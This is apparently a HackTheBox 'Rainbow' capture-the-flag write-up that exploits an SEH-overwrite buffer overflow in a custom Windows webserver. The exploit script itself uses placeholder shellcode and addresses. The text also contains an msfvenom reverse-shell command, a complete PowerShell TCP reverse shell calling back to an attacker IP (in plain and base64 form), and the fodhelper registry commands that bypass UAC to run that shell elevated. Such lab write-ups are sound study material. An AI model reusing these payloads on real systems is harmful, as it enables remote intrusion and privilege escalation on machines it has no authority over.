Memory Corruption in Web Applications | HackTheBox Rainbow Writeup
Introduction
Introduction
In HackTheBox Rainbow, my initial analysis identified a custom Windows webserver executable. I’ll proceed by manually fuzzing its input vectors to find a memory corruption vulnerability. Once a repeatable crash is triggered, I’ll attach x32dbg to the process, analyze the exception, and weaponize the vulnerability to achieve remote code execution. The resulting shell operates within the context of a user in the local Administrators group, but the process token is filtered by UAC, running at a medium integrity level which prevents me from reading the root flag. To escalate, I will leverage the fodhelper UAC bypass to spawn a new process in a high-integrity context, granting me unrestricted system access.

Scanning and Enumeration
Begining with an Nmap scan, we find the open ports below. My initial port scan reveals a fingerprint consistent with a Windows client. I’ve noted the hostname and domain are both set to RAINBOW, which strongly suggests this is a standalone machine and not joined to an Active Directory domain. This OS assessment is corroborated by the packet TTL, which is consistently 127 on all responding ports, the exact value I’d expect from a Windows host one network hop away.


I’ve established an anonymous FTP session with the target, as it requires no password for the ‘anonymous’ user. The root directory contains four files. I’m exfiltrating all of them for offline analysis, ensuring my client is set to binary transfer mode to maintain the integrity of the executable.

Exploiting Memory Corruption Vulnerability

Given that this is an optimized C++ binary, static analysis is difficult. My approach, therefore, is to perform dynamic analysis by fuzzing the application’s inputs. I’m manually manipulating request fields using tools like curl and Burp Suite. This method allowed me to discover the crash condition: sending an oversized POST request triggers a memory corruption vulnerability.

My exploit development process will be a classic SEH overwrite:
- Find Offsets: I’ll start by sending a cyclic pattern to pinpoint the offsets for the SEH and NSEH records.
- Find Gadget: Next, I’ll identify a
POP-POP-RETinstruction sequence in a loaded module to control the execution flow. - Construct Jump: I’ll overwrite the NSEH record with a short jump instruction that leads directly to my payload.
- Analyze Space: I’ll then examine the stack in a debugger to determine the buffer size available for my shellcode.
- Use Egghunter: If the available space is too constrained, I’ll implement an egghunter to find my main payload elsewhere in memory.
- Generate Shellcode: Lastly, I’ll generate the final shellcode with
msfvenom.
Next we load Mona into windbg and execute the below commands:
.load pykd.pyd!py mona pattern_create 900
!py mona pattern_offset <value># display exception handler
!exchain# find pop pop ret gadget
!py mona seh# short jump opcodes
msf-nasm_shell
nasm > jmp $+0xxx
00000000 EB80 jmp short 0xxx# egghunter
!py mona egg -wow64 -winver 10# msfvenom
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp -b "\x00\x0a\x0d" LHOST=10.10.14.50 LPORT=4545 -f python
Remember: Change the IP and port in the msfvenom command above.
POC Exploit
My final POC exploit consists of the below components and workflow:
1. from pwn import * / pwn usage
pwntools provides remote() (easy TCP client), p32() (pack 32-bit little-endian values), etc. In the code we import the specific pieces we need (remote, p32) or use from pwn import remote, p32.
2. Host / Port
HOST and PORT are the TCP target.
3. egghunter
A tiny shellcode routine that scans a process’s memory for a special tag (an “egg”) and when it finds the egg, it transfers execution to the payload found there. sometimes you place the large payload somewhere in memory, then deliver a tiny scanner (egghunter) that finds it and jumps to it.
4. buf / sc (shellcode)
This contains machine code generated by msfvenom for a reverse shell; binary bytes that, when executed on the target, open a shell or connect back to an attacker.

5. Buffer layout and offsets
offset / OFFSET_TO_SEH is the number of bytes from the start of the buffer to the location where the exploit wants to overwrite Structured Exception Handler (SEH) or other saved state.
It uses specific lengths, NOP sleds (\x90*), markers like "w00tw00t", then padding to reach offsets, then overwritten values (nSEH/SEH, return addresses).
6. \xEB\x80\x90\x90 as nSEH
That 4-byte sequence is meant to be a short jump or trap. nSEH is the “next SEH” short record placed on the stack during exception handling exploitation techniques.
7. p32(0x004094d8) / return address
p32() packs a 32-bit integer into 4 bytes in little-endian order (useful when writing addresses into buffers).
The script uses a concrete gadget address (e.g., pop ecx; pop ecx; ret) from a module on the target.
8. Building an HTTP POST and sending
The script constructs a raw HTTP/1.1 POST request by concatenating headers + \r\n\r\n and the binary body. Then it opens a TCP connection (remote(host, port)) and sends the raw request bytes. The server’s response may be read with recv/recvline.
9. Why the original prints lengths/does fills
Filling to an exact total length (e.g., 900 bytes) is to ensure consistent memory layout.
print(len(buffer)) helps the exploit developer confirm the buffer length at various stages , debugging to make sure offsets match expected sizes.
#!/usr/bin/env python3
"""
This script should be modified to fit your environment values such as IPs, Ports and the shellcode generated. It replaces any exploit payloads, addresses and shellcode with placeholders.
"""from pwn import remote, p32
from typing import ByteString# Target (replace with local lab IP when testing)
HOST = "10.10.10.10"
PORT = 8080# === Placeholders for binary blobs ===
EGGHUNTER_PLACEHOLDER: bytes = b"\x90" * 32 # NOP sled placeholder (no-op bytes)
SHELLCODE_PLACEHOLDER: bytes = b"PAYLOAD_PLACEHOLDER"# === Buffer assembly parameters ===
OFFSET_TO_SEH = 660 # offset used in SEH overwrite
TOTAL_BUFFER_SIZE = 900 # total request body length in original scriptdef build_exploit_like_buffer(offset: int,
shellcode: ByteString,
egghunter: ByteString) -> bytes:
"""
Build a buffer :
- small NOP padding,
- marker + shellcode,
- padding,
- egghunter,
- filler up to offset,
- nSEH placeholder,
- SEH/return-address placeholder,
- final filler to reach total size.
Important: all bytes are placeholders here.
"""
buf = bytearray()# small NOP padding at the start
buf += b"\x90" * 10# place a marker + shellcode ("w00tw00t" marker)
# I use a readable marker so a learner can search for it without executing.
buf += b"MARKER_MARKER_" + shellcode# some extra NOPs to simulate spacing in memory
buf += b"\x90" * 200# place the egghunter after the shellcode area
buf += egghunter# pad until we reach the offset where SEH would be overwritten
if len(buf) < offset:
buf += b"A" * (offset - len(buf))# nSEH (next SEH) placeholder: typically a short jump in exploit
buf += b"\xEB\x80\x90\x90" # bytes as placeholder# SEH/return address placeholder: this is a real pointer (p32(addr))
fake_ret_addr = 0xDEADBEEF
buf += p32(fake_ret_addr)# ensure final content length matches TOTAL_BUFFER_SIZE
if len(buf) < TOTAL_BUFFER_SIZE:
buf += b"D" * (TOTAL_BUFFER_SIZE - len(buf))return bytes(buf)def build_http_post(host: str, content: bytes) -> bytes:
"""Build a raw HTTP/1.1 POST request (bytes)."""
lines = []
lines.append(b"POST / HTTP/1.1")
lines.append(f"Host: {host}".encode())
# include User-Agent header label correctly
lines.append(b"User-Agent: SanitisedAgent/1.0")
lines.append(b"Accept: */*")
lines.append(b"Content-Type: application/x-www-form-urlencoded")
lines.append(f"Content-Length: {len(content)}".encode())
headers = b"\r\n".join(lines) + b"\r\n\r\n"
return headers + contentdef send_to_target(host: str, port: int, request: bytes) -> None:
"""Open TCP connection and send the request using pwntools' remote."""
conn = None
try:
conn = remote(host, port, timeout=5)
conn.send(request)
# attempt to read a single line of response (nonblocking, safe)
try:
resp = conn.recvline(timeout=1)
if resp:
print("Server replied (truncated):", resp[:200])
except Exception:
# ignore recv timeouts / EOF
pass
except Exception as e:
print(f"[!] Error connecting/sending: {e}")
finally:
if conn:
conn.close()def main():
shellcode = SHELLCODE_PLACEHOLDER
egghunter = EGGHUNTER_PLACEHOLDERcontent = build_exploit_like_buffer(OFFSET_TO_SEH, shellcode, egghunter)
print(f"[+] Built content length: {len(content)} bytes")http_req = build_http_post(HOST, content)
print(f"[+] Sending HTTP POST of size {len(http_req)} bytes to {HOST}:{PORT} ...")
send_to_target(HOST, PORT, http_req)if __name__ == "__main__":
main()
Reverse Shell and Post Exploitation


I’ve confirmed the user account is a local administrator, which means my privilege escalation path is a User Account Control (UAC) bypass. However, since the initial exploit targeted a 32-bit application, I’m currently in a 32-bit shell. This can cause issues with file system redirection (WOW64) when attempting a bypass. To create a more stable environment, my immediate goal is to spawn a native 64-bit PowerShell reverse shell.

C:\Windows\sysnative\WindowsPowerShell\v1.0\powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAwACIALAA0ADUANAA2ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==The original bs64 is below. You can use revshells.com
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.50",4546);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + ">_ ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
For privilege escalation, I will execute a UAC bypass leveraging fodhelper.exe. The methodology requires manipulation of the HKCU\Software\Classes\ms-settings\Shell\Open\command registry key. Initial enumeration revealed this key is not present, so the prerequisite action is its creation. Subsequently, I will:
- Set the
(Default)value of the key to the command for my reverse shell. - Ensure the
DelegateExecutestring value is empty. - Execute
fodhelper.exeto trigger the auto-elevated execution of the payload.
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -exec bypass -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA0AC4ANQAwACIALAA0ADUANAA3ACkAOwAkAHMAdAByAGUAYQBtACAAPQAgACQAYwBsAGkAZQBuAHQALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHcAaABpAGwAZQAoACgAJABpACAAPQAgACQAcwB0AHIAZQBhAG0ALgBSAGUAYQBkACgAJABiAHkAdABlAHMALAAgADAALAAgACQAYgB5AHQAZQBzAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewA7ACQAZABhAHQAYQAgAD0AIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAFQAeQBwAGUATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEEAUwBDAEkASQBFAG4AYwBvAGQAaQBuAGcAKQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAHkAdABlAHMALAAwACwAIAAkAGkAKQA7ACQAcwBlAG4AZABiAGEAYwBrACAAPQAgACgAaQBlAHgAIAAkAGQAYQB0AGEAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAIAApADsAJABzAGUAbgBkAGIAYQBjAGsAMgAgAD0AIAAkAHMAZQBuAGQAYgBhAGMAawAgACsAIAAiAFAAUwAgACIAIAArACAAKABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAiAD4AIAAiADsAJABzAGUAbgBkAGIAeQB0AGUAIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJACkALgBHAGUAdABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBtAC4AVwByAGkAdABlACgAJABzAGUAbgBkAGIAeQB0AGUALAAwACwAJABzAGUAbgBkAGIAeQB0AGUALgBMAGUAbgBnAHQAaAApADsAJABzAHQAcgBlAGEAbQAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwBsAGkAZQBuAHQALgBDAGwAbwBzAGUAKAApAA==" -Force
Start-Process "C:\Windows\system32\fodhelper.exe" -WindowStyle Hidden